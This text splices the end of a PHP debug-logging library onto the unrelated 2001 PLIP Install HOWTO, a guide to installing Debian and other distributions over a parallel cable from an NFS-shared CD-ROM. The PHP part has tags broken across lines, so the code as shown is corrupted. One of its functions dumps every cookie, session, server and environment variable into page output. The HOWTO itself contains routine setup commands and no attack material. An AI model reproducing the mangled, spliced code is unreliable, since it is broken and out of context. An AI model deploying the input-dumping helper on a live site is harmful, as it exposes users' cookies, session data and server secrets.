        global $CS_Enabled;
        $CS_Enabled = $state;
        CS_Write($CS_Enabled?"<
        pre>":"<
        /pre>");
}

//  Add a level to the reported items
function CS_IncStep(){
        global $CS_Step;
        $CS_Step++;
}

// Remove a level to the reported items
function CS_DecStep(){
        global $CS_Step;
        $CS_Step--;
        if($CS_Step <
        0)
                $CS_Step = 0;
}

// Log an item
function CS_Log($msg){
        global $CS_Step;
        for($i = 0; $i <
        $CS_Step; $i++)
                CS_WriteIndent();
        CS_Write($msg);
}

// Write data to the target output
function CS_Write($str){
        global $CS_Enabled;
        if($CS_Enabled)
                echo "$str";
}

// Write an indent block
function CS_WriteIndent(){
        CS_Write("|   ");
}

// Beginning a new method
function CS_EnterMethod($methodName){
        CS_Log("--> $methodName\n");
        CS_IncStep();
}

// Exit a method
function CS_ExitMethod($methodName){
        CS_DecStep();
        CS_Log("<
        -- $methodName\n");
}

// Log a note
function CS_SendNote($note){
        CS_Log("[O] $note\n");
}

// Send a simple message
function CS_SendMessage($msg){
        CS_Log("[M] $msg\n");
}

// Log an error
function CS_SendError($msg){
        CS_Log("<
        b>[E] $msg<
        /b>\n");
}

// Log a variable
function CS_SendVar($varName, $value){
        if(is_array($value)){
                CS_SendArray($value, $varName);
        }else{
                CS_Log("[L] $varName = \"$value\"\n");
        }
}

// Write all global variables to the report
function CS_SendInputData(){
        global $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS,
                $HTTP_SERVER_VARS, $HTTP_ENV_VARS, $HTTP_SESSION_VARS;
        CS_Write("----------------------------------------------------------\n");
        CS_SendArray($HTTP_GET_VARS, "HTTP_GET_VARS");
        CS_SendArray($HTTP_POST_VARS, "HTTP_POST_VARS");
        CS_SendArray($HTTP_COOKIE_VARS, "HTTP_COOKIE_VARS");
        CS_SendArray($HTTP_SERVER_VARS, "HTTP_SERVER_VARS");
        CS_SendArray($HTTP_ENV_VARS, "HTTP_ENV_VARS");
        CS_SendArray($HTTP_SESSION_VARS, "HTTP_SESSION_VARS");
        CS_Write("----------------------------------------------------------\n");
}

// Log an array
function CS_SendArray($array, $arrayStr = ""){
        if(!empty($arrayStr))
                CS_Log("\$$arrayStr");
        if(count($array) == 0){
                CS_Log(" = Array()\n");
        }else{
                CS_Write(" = Array(\n");
                while(list($key2, $value2) = each($array)){
                        CS_WriteIndent();
                        if(empty($arrayStr))
                        CS_WriteIndent();
                        CS_Log("$key2");
                        if(!is_array($value2))
                                CS_Write(" => ".htmlentities($value2)."\n");
                        else
                                CS_SendArray($value2);
                }
                CS_WriteIndent();
                if(empty($arrayStr))
                        CS_WriteIndent();
                CS_Log(")\n");
        }
}
?>


PLIP Install HOWTO

Gilles Lamiral, lamiral@linux-france.org

v1.36, 2001-12-03

This paper describes how to install a Gnu|Linux distribution on a computer without Ethernet card, or CD-ROM, but just a local floppy drive and a remote nfs server attached by a Null-Modem parallel cable. The nfs server has a cdrom drive mounted and exported.

You can find the latest release of the PLIP-Install-HOWTO, by Gilles Lamiral, located at:
http://www.linuxdoc.org/HOWTO/PLIP-Install-HOWTO.html

If you have already read this HOWTO and you wonder what is new is this release, first read the section what's new.

1. PLIP for the impatient

  • 1.1 Source side
  • 1.2 Target side
  • 1.3 Final tests

2. Introduction

3. License

4. How did I write this howto ?

5. What do you need ?

6. The documentation

7. Conventions

8. Building your own cable

9. Network parameters

10. PLIP on the Source side

11. The cdrom nfs server side

12. FIPS, PARTED, splitting of hard disk partitions

13. Debian installation

  • 13.1 Preparing the two floppies
  • 13.2 The real installation process
  • 13.3 An installation break: PLIP on the target side
  • 13.4 Return to the normal install process

14. Installing Slackware, Caldera

  • 14.1 Slakware installation
  • 14.2 Caldera Installation
  • 14.3 Troubleshooting

15. Installing RedHat 6.x

  • 15.1 Using a fixed "bootnet" disk
  • 15.2 Building your own "bootnet" disk

16. Installing RedHat 7.0

  • 16.1 Creating your own bootnet-plip disk

17. Installing Suse

18. Installing from a DOS partition

19. Install the plip interface permanently

  • 19.1 On the source side
  • 19.2 On the target side

20. Compatibility with a printer (lp)

21. Need to compile a new kernel ?

22. What's new

23. To do

24. List of contributors and acknowledgements


PLIP Install HOWTO: PLIP for the impatient

 Next Previous Contents

1. PLIP for the impatient

This section is used to avoid reading the document when you need to install a plip connection in one minute. Skip it.

1.1 Source side

cat /proc/parport/0/hardware
insmod parport
insmod parport_pc
echo 7 >  /proc/parport/0/irq
insmod plip
tail /var/log/messages
ifconfig plip0 192.168.0.2 pointopoint 192.168.0.1 \
         netmask 255.255.255.255 up
ifconfig plip0
ping 192.168.0.2
route -n

1.2 Target side

ifconfig plip1 192.168.0.1  pointopoint  192.168.0.2 \
         netmask 255.255.255.255 up
route add -host 192.168.0.2 dev plip1 # if the route is not present

1.3 Final tests

ping 192.168.0.1 # from 192.168.0.2
ping 192.168.0.2 # from 192.168.0.1


PLIP Install HOWTO: Introduction

 Next Previous Contents

2. Introduction

"PLIP is Parallel Line IP, that is, the transportation of IP packages over a parallel port." Donald Becker (becker@super.org).

Writing a PLIP install HOWTO seems useless nowadays since Ethernet cards are cheap: NE2000 cards cost about the same as a Null-Modem cable. This is true for desktop computers, but not for laptop computers, in which the PCMCIA card costs more than 10 times as much the Null-Modem cable. Moreover, there is a parallel port on every computer, but not always a network card.

Of course, this howto can be used to install Linux on every personal computer without loss of generality.

This paper is just what I've done to install a Debian GNU/Linux distribution on a Toshiba Portégé 620CT laptop, from a NFS exported cdrom drive, via a Null-Modem cable.

A Null-Modem cable is also called a Null-Printer cable.

A Null-Modem cable is also called a "LapLink" (or "Turbo Laplink") cable but the word "LapLink" is trademarked by Traveling Software under the number 75466713 since 1986, so I won't use it anymore.

This HOWTO will be obsolete when every Linux distribution includes a PLIP install option. For example, the Debian installation only needs to add two commands to make this HOWTO obsolete (ifconfig + route). I hope one Debian maintainer will consider this point.

I hoped this HOWTO would become obsolete but in fact it seems that it will never be, because some builders of some distributions do include PLIP installation sometimes but forget to maintain it in new releases (REDHAT for example).

I would be happy to know if someone used the PLIP-Install-HOWTO to install other Linux distributions from other network protocols (ftp, http, nfs, samba, or even NT/Novell servers)

Feedback with typos, bad English, comments, money, job, joy, fears, cries are welcome and recommended (not all with the same eagerness).

If a translation in any language exists, please let me know, I'll be happy.


PLIP Install HOWTO: License

 Next Previous Contents

3. License

This documentation used to be under the OpenContent license. It is not anymore. Do what you want with this document.


PLIP Install HOWTO: How did I write this howto ?

 Next Previous Contents

4. How did I write this howto ?

I wrote this paper during the installation process but since I encountered several problems at the same time, my notes were disparate and sometimes I forgot to write the good command lines because I was too fed up to reboot (kernel compilations) and edit this file each time.

When the installation went wrong (it did, I'm a beginner on laptops, plip, linux nfs, portmapper, Debian), I tried several things to fix the problems. When they remained too long, my brain was focused on solving, not writing.

So, when the installation process finally succeeded, I decided to restart the process from scratch by noting everything in order to save your time. It was the first time I had installed Linux twice on the same computer.

Then, in order to verify the document, I again restarted from scratch with a Slink Debian distribution (the next after the Hamm one). It was the first time I had installed Linux 3 times on the same computer. I hope it was the last time I have to do that.

Conclusion: If you do what is in this paper, it should work.


PLIP Install HOWTO: What do you need ?

 Next Previous Contents

5. What do you need ?

  • A Personal Computer, laptop or desktop, called the target computer or simply target.

  • A 3 1/4" inch floppy drive on the target.

  • Two or three fresh floppies. They don't need to be formatted. You also need one more DOS formatted floppy if you have to play with FIPS.

  • Another computer with a cdrom drive and nfs services, called source computer or simply source. It doesn't have to be a Linux system but just a system which can export a cdrom drive via nfs. In this HOWTO, I assume it is a Linux system.

  • A cdrom distribution. I took a Debian Hamm (2.0r3) from an old Infomagic compilation. I think every distribution can be installed this way, but I'm not sure. I've read a French document, written by Chmouel Boudjnah, saying the RedHat distribution has an easy installation process. Chmouel's document also deals with the Debian distribution, so if you read French, you can use Chmouel's document instead of this one.

  • A Null-Modem DB 25 cable. Is it the same as a serial cable? You'll find the answer in the next release.

  • Some time: 3 hours.

  • Coffee. 1 liter.


PLIP Install HOWTO: The documentation

 Next Previous Contents

6. The documentation

I recommend these good readings in case you can't figure out how to solve a problem. I've read them. You should too if you're curious or conscientious.

Please, do not forget to consider the LDP mirrors, listed at:
http://www.linuxdoc.org/mirrors.html

Most HOWTOs are translated in many languages. Just go to the bottom of a mirror page and follow the translations/ link.

If you want to use Linux on a laptop, read the latest Linux-Mobile-Guide, by Werner Heuser, located at:
http://mobilix.org/howtos.html.

If you haven't installed any distribution yet, carefully read the Installation-HOWTO, by Eric S. Raymond, located at:
http://www.linuxdoc.org/HOWTO/Installation-HOWTO/. And make more coffee :-)

If you need information about your cdrom drive, read the CDROM-HOWTO, by Jeff Tranter, located at:
http://www.linuxdoc.org/HOWTO/CDROM-HOWTO.html.

If you haven't installed an nfs server yet, read the NFS-HOWTO, by Nicolai Langfeldt, located at:
http://www.linuxdoc.org/HOWTO/NFS-HOWTO.html.

If you need to compile a new kernel on the source box, read the Kernel-HOWTO, by Brian Ward, located at:
http://www.linuxdoc.org/HOWTO/Kernel-HOWTO.html.

If you are new to PLIP, read the PLIP MINI-HOWTO, by Andrea Controzzi, located at:
http://www.linuxdoc.org/HOWTO/mini/PLIP.html.

If you plan to make your Null-Modem cable yourself, a good reading is the file PLIP.txt, by Donald Becker, located at:
/usr/src/linux/Documentation/networking/PLIP.txt
on your source linux computer, Luke. Alternatively, read my notes in section "Building your own cable".


PLIP Install HOWTO: Conventions

 Next Previous Contents

7. Conventions

The file contents and line commands and install screen-shots are always in typewriter font, like this:

     #!/bin/bash
     #############################################
     #### This is the great file /bin/Windows ####
     #############################################

     while [ "1" ]; do
             echo "I do my best because I'm the best"
             echo "Very soon, next Y2Kill (the 01/01/0000)"
             echo "A new marvelous 64 bit release !"
             echo "Please wait a little more"
             sleep 18446744073709551615 # 2^64-1
     done

or this:

     $ killall Windows
     Terminated

The file content lines should never begin with white space. You'll have to remove them, if any. Sorry, I'm fed up with C-a M-AltGr-\ (remember, I'm a French azerty writer). Tab-emacs reflex is untameable (coders who use Emacs always press the tabular key like a twitch).

Command input lines begin with a dollar $ (the prompt), you don't have to type the dollar, just type the rest of the line; other lines are the command output, you don't have to type them either.

Because all the configuration commands are important, you'll need to use a system administrator shell, like root, on the source and the target computers.

     $ su
     Password: blabla
     #

The prompt will be shown as "$" in the remainder of this documentation "$", even if it should be "#". This is because "#" often means comment, so it is ambiguous. I don't like ambiguity in computer science.


PLIP Install HOWTO: Building your own cable

 Next Previous Contents

8. Building your own cable

Extract from /usr/src/linux/Documentation/networking/PLIP.txt, written by Donald Becker (becker@super.org):

Parallel Transfer Mode 0 Cable
==============================

The cable for the first transfer mode is a standard
printer "null" cable which transfers data four bits at a time using
data bit outputs of the first port (machine T) connected to the
status bit inputs of the second port (machine R).  There are five
status inputs, and they are used as four data inputs and a clock (data
strobe) input, arranged so that the data input bits appear as contiguous
bits with standard status register implementation.

A cable that implements this protocol is available commercially as a
"Null Printer" or "Turbo Laplink" cable.  It can be constructed with
two DB-25 male connectors symmetrically connected as follows:

    STROBE output       1*
    D0->ERROR   2 - 15          15 - 2
    D1->SLCT    3 - 13          13 - 3
    D2->PAPOUT  4 - 12          12 - 4
    D3->ACK     5 - 10          10 - 5
    D4->BUSY    6 - 11          11 - 6
    D5,D6,D7 are   7*, 8*, 9*
    AUTOFD output 14*
    INIT   output 16*
    SLCTIN      17 - 17
    extra grounds are 18*,19*,20*,21*,22*,23*,24*
    GROUND      25 - 25
* Do not connect these pins on either end

If the cable you are using has a metallic shield it should be
connected to the metallic DB-25 shell at one end only.

I checked my cable twice. On both sides, pins are connected like this:

     1 -  1 Yes
     2 - 15
     3 - 13
     4 - 12
     5 - 10
     6 - 11
     7 not connected
     8 not connected
     9 not connected
    10 -  5
    11 -  6
    12 -  4
    13 -  3
    14 - 14 Yes
    15 -  2
    16 - 16 Yes
    17 - 17
    18 not connected
    19 not connected
    20 not connected
    21 not connected
    22 not connected
    23 not connected
    25 - 25 not connected to metallic shield

Unlike the cable described in the kernel document, my cable has pins 1, 14, 16 connected. It doesn't matter, apparently, since plip works fine for me.


PLIP Install HOWTO: Network parameters

 Next Previous Contents

9. Network parameters

We will make a plip point-to-point network with this IP configuration:

  • target: 192.168.0.1 netmask 255.255.255.255
  • source: 192.168.0.2 netmask 255.255.255.255

You should not already have those names in your name space:

     $ ping source
     ping: unknown host source

     $ ping target
     ping: unknown host target

You should not already have those IP addresses in your network space:

     $ ping  192.168.0.1
     PING 192.168.0.1 (192.168.0.1): 56 data bytes
     ping: sendto: Network is unreachable
     ping: wrote 192.168.0.1 64 chars, ret=-1

     --- 192.168.0.1 ping statistics ---
     1 packets transmitted, 0 packets received, 100% packet loss

     $ ping 192.168.0.2
     PING 192.168.0.2 (192.168.0.2): 56 data bytes
     ping: sendto: Network is unreachable
     ping: wrote 192.168.0.2 64 chars, ret=-1

     --- 192.168.0.2 ping statistics ---
     1 packets transmitted, 0 packets received, 100% packet loss

If those commands don't give you errors, change the names or the addresses.

You can choose other addresses, names or netmask (netmask must be the same on both sides). In the rest of this document, I'll suppose you choose these addresses and these names.

Add a line in /etc/exports

     #### file /etc/exports ####
     ...
     /cdrom          source(ro) target(ro)
     #### EOF ####

Because the portmapper tries to resolve IP addresses, add the IP addresses and names in /etc/hosts

     #### file /etc/hosts ####
     ...
     192.168.0.1     target
     192.168.0.2     source
     #### EOF ####

Verify you have the item files for the hosts search list in the file /etc/nsswitch.conf

     #### file /etc/nsswitch.conf ####
     ...
     hosts:      files nis dns
     ...
     #### EOF ####


PLIP Install HOWTO: PLIP on the Source side

 Next Previous Contents

10. PLIP on the Source side

This section describes how to set up the plip interface in the source server. If you run into trouble, I suggest that you read the PLIP MINI-HOWTO.

Check that your lp device is not set. You should not have this entry:

     $ cat /proc/devices
     Character devices:
     ...
     6 lp
     ...

If you do have it, kill the lpd daemon and remove the lp module:

     $ /etc/rc.d/init.d/lpd.init stop
     Shutting down lpd: lpd

     $ rmmod lp

If you can't remove the lp module then you have to recompile the kernel with lp service as a module.

Now, the "6 lp" line has disappeared from the /proc/devices file, which is a reflection of the kernel capabilities.

You are not obliged to eliminate the lp device : the scheme may work with lp. Without guarantee (it works for me). Check it yourself.

Check that your parallel port is handled:

     $ ls /proc/parport/
     0/

     $ cat /proc/parport/0/hardware
     base:   0x378
     irq:    7
     dma:    none
     modes:  SPP,ECP,ECPEPP,ECPPS2

If you don't have any directory under /proc/parport/ then you have to load the parport and parport_pc modules:

     $ insmod parport
     $ insmod parport_pc

You should see this new entry in /var/log/messages:

     Oct  9 20:50:47 louloutte kernel:
     parport0: PC-style at 0x378 [SPP,ECP,ECPEPP,ECPPS2]

     Oct  9 20:50:47 louloutte kernel:
     parport0: detected irq 7;
     use procfs to enable interrupt-driven operation.

I repeat the message "detected irq 7, use procfs to enable interrupt-driven operation", so:

     $ echo 7 >  /proc/parport/0/irq

Check that plip module is loaded:

     $ lsmod |grep plip

If plip module is not loaded, then load it:

     $ insmod plip

You should see something like this in /var/log/messages

     ==> /var/log/messages <==
     Oct  8 16:34:12 louloutte kernel:
     NET3 PLIP version 2.3-parport gniibe@mri.co.jp

     Oct  8 16:34:12 louloutte kernel:
     plip0: Parallel port at 0x378, using IRQ 7

If you can't load the plip module then you have to recompile the kernel with plip service as a module.

The syslog message says the module is loaded on the plip0 interface. Configure the plip0 interface:

     $ ifconfig plip0 source pointopoint target netmask 255.255.255.255 up

Check that everything is okay.

     $ ifconfig plip0
     plip0     Link encap:10Mbps Ethernet  HWaddr FC:FC:C0:A8:00:02
          inet addr:192.168.0.2  P-t-P:192.168.0.1  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0
          TX packets:0 errors:0 dropped:0 overruns:0
          Interrupt:7 Base address:0x378

Now you can ping locally the source server:

     $ ping source
     PING source (192.168.0.2): 56 data bytes
     64 bytes from 192.168.0.2: icmp_seq=0 ttl=255 time=0.3 ms
     64 bytes from 192.168.0.2: icmp_seq=1 ttl=255 time=0.2 ms

     --- source ping statistics ---
     2 packets transmitted, 2 packets received, 0% packet loss
     round-trip min/avg/max = 0.2/0.2/0.3 ms

Verify that the route to target exists:

     $ route
     Kernel IP routing table
     Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
     target          *               255.255.255.255 UH    0      0        0 plip0

If the route doesn't exist, add it:

     $ route add -host  192.168.0.1  dev plip0

When the target is configured you will be able to do a ping test:

     $ ping target
     PING 192.168.0.1 (192.168.0.1): 56 data bytes
     64 bytes from 192.168.0.1: icmp_seq=0 ttl=64 time=4.5 ms
     64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=4.3 ms

     --- 192.168.0.1 ping statistics ---
     2 packets transmitted, 2 packets received, 0% packet loss
     round-trip min/avg/max = 4.3/4.4/4.5 ms

But if you try it now you should have:

     $ ping target
     PING target (192.168.0.1): 56 data bytes

     --- target ping statistics ---
     5 packets transmitted, 0 packets received, 100% packet loss

Now, the server network is ready to work. Congratulations.


PLIP Install HOWTO: The cdrom nfs server side

 Next Previous Contents

11. The cdrom nfs server side

This section describes how to mount and export via NFS a cdrom drive.

Mount the cdrom. If you encounter a problem with your cdrom drive, read the CDROM-HOWTO. I assume that the cdrom device is /dev/hdd but it could be /dev/sr0 or /dev/hdb etc. The mount point I choose is /cdrom but you can choose the one you want:

     $ mount -t iso9660 /dev/hdd  /cdrom

You have to set up nfs services. If something goes wrong, read the NFS-HOWTO

Verify your kernel supports nfs:

     $ cat /proc/filesystems
             ext2
     nodev   proc
     nodev   nfs
     nodev   ncpfs
     nodev   devpts
             iso9660

Verify your portmapper can handle mountd and nfs client requests:

     $ rpcinfo -p
     program vers proto   port
     100000    2   tcp    111  portmapper
     100000    2   udp    111  portmapper
     100005    1   udp    655  mountd
     100005    1   tcp    657  mountd
     100003    2   udp   2049  nfs
     100003    2   tcp   2049  nfs

Lines with nfs or portmapper have to be there. We have NFS on tcp? progress have been made!

It doesn't matter if you have only NFS on udp. NFS has to work, that's the thing you need.

Then, rerun portmap, mountd, nfs:

     $ /etc/rc.d/init.d/portmap.init stop
     Stopping INET services: portmap

     $ /etc/rc.d/init.d/portmap.init start
     Starting portmapper: portmap

     $ /etc/rc.d/init.d/nfs stop
     Shutting down NFS services: rpc.mountd rpc.nfsd

     $ /etc/rc.d/init.d/nfs start
     Starting NFS services: rpc.mountd rpc.nfsd

/etc/rc.d/init.d/ is /sbin/init.d/ on SuSE Linux systems. I had a dream last night: LSB was respected. (LDB: Linux Standard Base)

Then, try to mount it "locally" (via nfs) on the source box and when the test is good remove the test directory:

     $ mkdir /tmp/nfstest
     $ mount -t nfs source:/cdrom /tmp/nfstest
     $ ls  /tmp/nfstest/
     README             debian/            locatedb.3         tools/
     TRANS.TBL          ftp.netscape.com/  ls_lR.3            upgrade/
     boot/              install/           realaudio/

     $ echo great stuff !
     $ umount /tmp/nfstest
     $ rmdir /tmp/nfstest

Bad luck ? Read the NFS-HOWTO and /var/log/messages.

Check the nfs server with those commands:

     $ rpcinfo -p

Run portmap with the -v flag:

      $ portmap -v

kill portmap, mountd, nfsd and rerun them in this order: portmap, mountd, nfsd. Take a rest, get more coffee. Read again the NFS-HOWTO and restart.

Now, the exported cdrom drive nfs server is ready to work. Congratulations.


PLIP Install HOWTO: FIPS, PARTED, splitting of hard disk partitions

 Next Previous Contents

12. FIPS, PARTED, splitting of hard disk partitions

This section is for anybody who has only one primary FAT partition (DOS, Windows 3.xx, NT) and wants to keep it without loosing data. Make some backups because if you burn it, I won't be responsible - you will.

Journey to PARTED

Andrew Clausen (clausen@gnu.org), GNU Parted maintainer, wrote "You might want to mention GNU Parted in the PLIP-Install Howto." That is done. Since I didn't try it I can only give you the links to parted by http and parted ftp. Help yourself. Parted seems very good.

Andrew said: "GNU Parted is a *LOT* more powerful than FIPS (think Partition Magic). For example, it can convert FAT16 <=> FAT32, change the size of the FATs, doesn't require a defragger, etc. And it supports ext2, linux-swap..."

Back to FIPS.

Download FIPS. Don't forget the mirrors ftp.xx.debian.org where xx is your country abbreviation (fr, fi, us, uk, etc.).

At the time of this writing the archive file is called fips20.zip.

The fips program is already in the debian cdrom distribution. I found it (yes, after downloading the fips20.zip file) in /cdrom/debian/tools/fips15.zip (It supposes your cdrom is mounted on /cdrom)

I guess you are on a Unix world but you're not compelled to be. Go in a good working place on the source computer:

     $ mkdir /tmp/fips-2.0/
     $ cd /tmp/fips-2.0/
     $ unzip -l /archive/fips/fips20.zip
     ...
     $ unzip  /archive/fips/fips20.zip
     ...
     $ ls
     $ dos2unix fips.doc fips.faq  readme.1st

  1. Read the file readme.1st
  2. Read the file fips.doc
  3. Read the file fips.faq

Boot your target computer. Be in pure DOS (quit Windows).

Read again the file fips.doc from the section "5. Before you start".

Be aware of hidden files.

Graham's comment: Hidden files will not be moved by DeFrag (as far as I know), so FIPS will reclaim less space for use by Linux. Use the ATTRIB command to remove the "hidden" attribute. Some things may require that files are hidden, so it will be necessary to hide the same files again later. I think that it would also be a good idea to run scandisk at this moment. Perhaps I do not trust DOS.

Be aware to eliminate the "virtual memory" file (swap for Win*) during the fips process. In Windows 3.11 (quite up to date, no?) this swap file is configured from Program-Manager->Control-Panel->Enhanced (a i386 chip icon).

Click, Click->Click on the chip and re-click on a button called "Virtual Memory".

Adjust the size to none, Click<-Click<-Click<-Click back plus Alt-F4 to close all your windows. Don't you think the Gates are closed too?

Graham's comment: I am not sure that this is a good idea. What happens if "386spart.par" is not hidden? I think that DEFRAG will move it, and Windows will complain next time it starts, then rebuild the file. Since we are clearly keeping DOS/Windows, the user will require a swap file again later. By not deleting it, the disc space is reserved for that time.

Graham's new comment: "Make sure that the file is not hidden (attrib -h -s 386spart.par), then delete it (del 386spart.par). The disc space is then free. Run FIPS. Next time Windows starts, it will complain that the file is corrupt, and will recreate it."

I don't what to say. I've just parroted FIPS manual because I succeeded with it.

So drink coffee, and pray.

Run SCANDISK:

     C:\> SCANDISK

Correct every cluster. You should have no dead cluster now.

Quit SCANDISK

Run DEFRAG on C:

     C:\> DEFRAG C:

All used clusters are at the beginning of the hard disk.

Quit DEFRAG

Make a bootable floppy disk:

     C:\> FORMAT A: /S

Copy AUTOEXEC.BAT and CONFIG.SYS to the new floppy if you want to keep your local features (keyboard keys etc.). Remove the line running SMARTDRIVE.EXE in AUTOEXEC.BAT. Keep a minimal AUTOEXEC.BAT

On the source box: Copy the fips files restorrb.exe, fips.exe and errors.txt to this floppy disk.

    $ mcopy errors.txt fips.exe restorrb.exe a:

Graham's comment: Doesn't this assume that mtools are installed? If the floppy disc is mounted as type msdos, the standard "cp" command should do the job, and mtools would not be needed. I have never used mtools, but I have played with DOS files from Linux.

Yes, this assumes that mtools are installed. mcopy is faster to type than mkdir, mount, cp, umount, rmdir.

Boot the target with the floppy. Run fips while reading the section "Using FIPS" in the file fips.doc

Do not forget to answer yes when fips asks for a rootboot saving.

When everything is ok, save your hard disk space:

     $ cd
     $ rm -rf /tmp/fips-2.0/

Now you have a nice free space for a new operating system.


PLIP Install HOWTO: Debian installation

 Next Previous Contents

13. Debian installation

I'm a Debian proselyte since it is my first Debian installation. Debian lovers are the same kind of people as Macintosh lovers or Linux lovers in the operating systems space. Nothing else counts. Since I'm already a Mac and Linux lover (and French too :-) it was time to fall in love.

Debian is well, clearly and internationally documented. Thanks to all those people who bred this really open distribution.

I could leave you on your own during the installation process. But since we have to interact with a shell during it, the entire process will be described in detail.

I know the description is Debian specific. I prefer to give you a complete example than nothing except a ``run a shell at the right moment and type bla bla...''. I do like concrete examples.

Simon Forget <sforget@camelot.ca> told me he could not use this howto with his Toshiba Libretto 50CT because the kernel could not recognize the pcmcia floppy drive during the installation process. I don't know why but there is a solution using plip, if you already have a dos partition on the target computer.

This solution is simpler and faster because no floppy drive nor plip network is necessary during the installation process. If you are interested in this solution, go directly to the section Installing from a DOS partition. I'm keeping the old installation routine because this new one needs a DOS partition that becomes superfluous when you definitely want to leave the dark side.

13.1 Preparing the two floppies

On the source side, mount the cdrom and go to the install directory

      $ mount -t iso9660 /dev/hdd  /cdrom

The device for your CDROM may be /dev/hdb or /dev/hdc or another device (SCSI), depending on where is plugged your CDROM.

      $ cd /cdrom/debian/dists/stable/main/disks-i386/current/

Read the file install.html with a browser or install.txt with a more, a less, a cat (or a dog?).

Now, record the install (alias rescue) floppy. Write a "resc1440.bin" label on it:

      $ dd if=resc1440.bin of=/dev/fd0H1440

Write the drivers floppy. Write a "drv1440.bin" label on it:

      $ dd if=drv1440.bin of=/dev/fd0H1440

Then make sure that the floppies are write-protected.

Now you're ready to start the real installation process.

13.2 The real installation process

Insert the resc1440.bin floppy on target drive. Reboot your target box.

     Welcome to Debian GNU/Linux 2.x!
     ...

Read the text. The prompt is:

     boot:

Press <ENTER>

     Loading root.bin...........
     loading linux...
     ....

A new screen:

     Next: Select Color or Monochrome display

Choose yours with the arrow up/down keys and press <ENTER>

     Next: Continue with the installation

press <ENTER>

     Software in the Public Interest
             presents
      *** Debian GNU/Linux 2.1 ***
     ...

Read the text Press <ENTER> (You see <Continue> on the screen)

     Next: Configure the Keyboard

press <ENTER> Select your country and press <ENTER>

     Next : Partition a Hard Disk

Press <ENTER>

     Select Disk Drive
     usually /dev/hda

If you have several disks choose the good one (where you want to install Linux) and press <ENTER>

You are now using the program cfdisk. Using cfdisk is safe until you decide to [Write] the partition on disk. Leaving cfdisk with [Quit] is safe.

We are going to make just two new primary partitions, a Swap one and a big Linux one. If you want to create more partitions, leave some free space or extended partitions, you can. But read the documentation about "Partitioning" in the Installation-HOWTO, especially if you have more than 1024 cylinders and an old version of LILO.

If you previously ran the FIPS program, you see the hda1 partition (DOSFAT16). Switch to the next free partition with the up/down arrow keys.

Select [New] with the right/left arrow keys and press <ENTER>

Select [Primary] and press <ENTER>

Enter the size of your swap partition. Twice the RAM is usual if you have less than 128 megabytes of ram. If you have 2 gigabytes of RAM, it's because you don't want to swap. In that case, no swap partition is needed.

Select [Beginning] and press <ENTER>

Select [Type] and press <ENTER>. Type 82 (Linux Swap) and press <ENTER>.

Switch to the next free partition with the up/down arrow keys. Select [New] and press <ENTER>

Select [Primary] and press <ENTER>

Enter the size in MB (you can leave the default) and press <ENTER> Its type should be already Linux. If not, change to Linux (83) with [Type]

The partition table is defined now. Verify everything looks good. If you're not sure, read the documentation with [Help]. If doubts are still there, select [Quit] and leave the installation process. Go for a walk and restart from the beginning of this section.

I assume you are confident now.

Select [Write]

     Are you sure you want to write the partition table to disk?

Type "yes" and press <ENTER>

Select [Quit] and press <ENTER>

     Next: Initialize and Activate a Swap Partition

Press <ENTER>

     Please select the partition to initialize as a swap device

Select /dev/hda2 (normally already selected). Press <ENTER>

     Scan for Bad Blocks?

select <YES> and press <ENTER>

     Are you Sure?

select <YES> and press <ENTER>

     Initializing swap partition
     ...

     Next: Initialize a Linux Partition

Press <ENTER>

     Select Partition. Please select the partition to initialize as a
     Linux "ext2" file-system.

Select /dev/hda3 (normally already selected) and press <ENTER>.

     Scan for Bad Blocks?

Select <YES> and press <ENTER>

     Are you Sure?

Select <YES> and press <ENTER>

A new page full of numbers. You can take a rest because it takes some time (especially with a big hard disk).

     Next: Mount a Previously-Initialized Partition

Press <ENTER>

     Please select the partition to mount

Select /dev/hda3 and press <ENTER>

     Mount the /dev/hda3 device as the Root FileSystem?

Select <Yes< and press <ENTER>

     Next: Install Operating System Kernel and Modules

Press <ENTER>

     Please select the medium you will use to install the system

Select /dev/fd0 and press <ENTER>

     Please place the Rescue Floppy in the first floppy drive

The floppy is already there.
Select <Continue> and press <ENTER>

     Installing the Rescue Floppy ...
     Please place the Drivers Floppy in the first floppy drive

Eject the Rescue Floppy and insert the Drivers Floppy, the one I you labelled drv1440.bin (you did it, didn't you?).
Select <Continue> and press <ENTER>

     Installing the Drivers  Floppy ...

A new screen:

     Next: Configure Device Driver Modules

Press <ENTER>

     Select Category

Read the text.

     Please select the category of modules

Select net and press <ENTER>
Select plip.

     Module plip

Select "Install the module in the kernel" and press <ENTER>
No parameters are needed.
Select <Ok> and press <ENTER>

     Installation succeeded
     Please press ENTER when you are ready to continue.

Press <ENTER>

Select Exit ("Finished with these modules") and press <ENTER>
Then you see the same kind of screen again.
Select Exit ("Finished with these modules") and press <ENTER>

     Next: Configure the Network

Choose a name, you can use a different name than debian or target.
Press <ENTER>

     Is your system connect to a network?

Select <No> and press <ENTER>

STOP STOP STOP. You see now:

     Next: Install the base system

Now we need a shell.

Press Alt F2 and <ENTER> You are in a root shell.

13.3 An installation break: PLIP on the target side

You are in a root shell.

Verify the plip module is loaded:

     $ lsmod
     Module    Pages    Used by
     plip          3          0

Find the exact name of the plip interface:

     $ dmesg
     ...
     NET3 PLIP version 2.2 gniibe@mri.co.jp
     plip1: Parallel port at 0x378, using assigned IRQ 7

You can find the same information with

     $ cat /proc/kmsg
     ...
     <4>NET3 PLIP version 2.2 gniibe@mri.co.jp
     <4>plip1: Parallel port at 0x378, using assigned IRQ 7
     ...

     Ctrl-c (or ^C if you prefer)

Configure the plip interface:

     $ ifconfig plip1 192.168.0.1  pointopoint  192.168.0.2 netmask 255.255.255.255 up

Verify everything is ok:

     $ ifconfig plip1
     plip0     Link encap:Ethernet  HWaddr FC:FC:C0:A8:00:01
          inet addr:192.168.0.1  P-t-P:192.168.0.2  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          Collisions:0
          Interrupt:7 Base address:0x378

Verify the route to source exists:

     $ route
     Kernel IP routing table
     Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
     127.0.0.0       0.0.0.0         255.0.0.0       U     0      0        0 lo

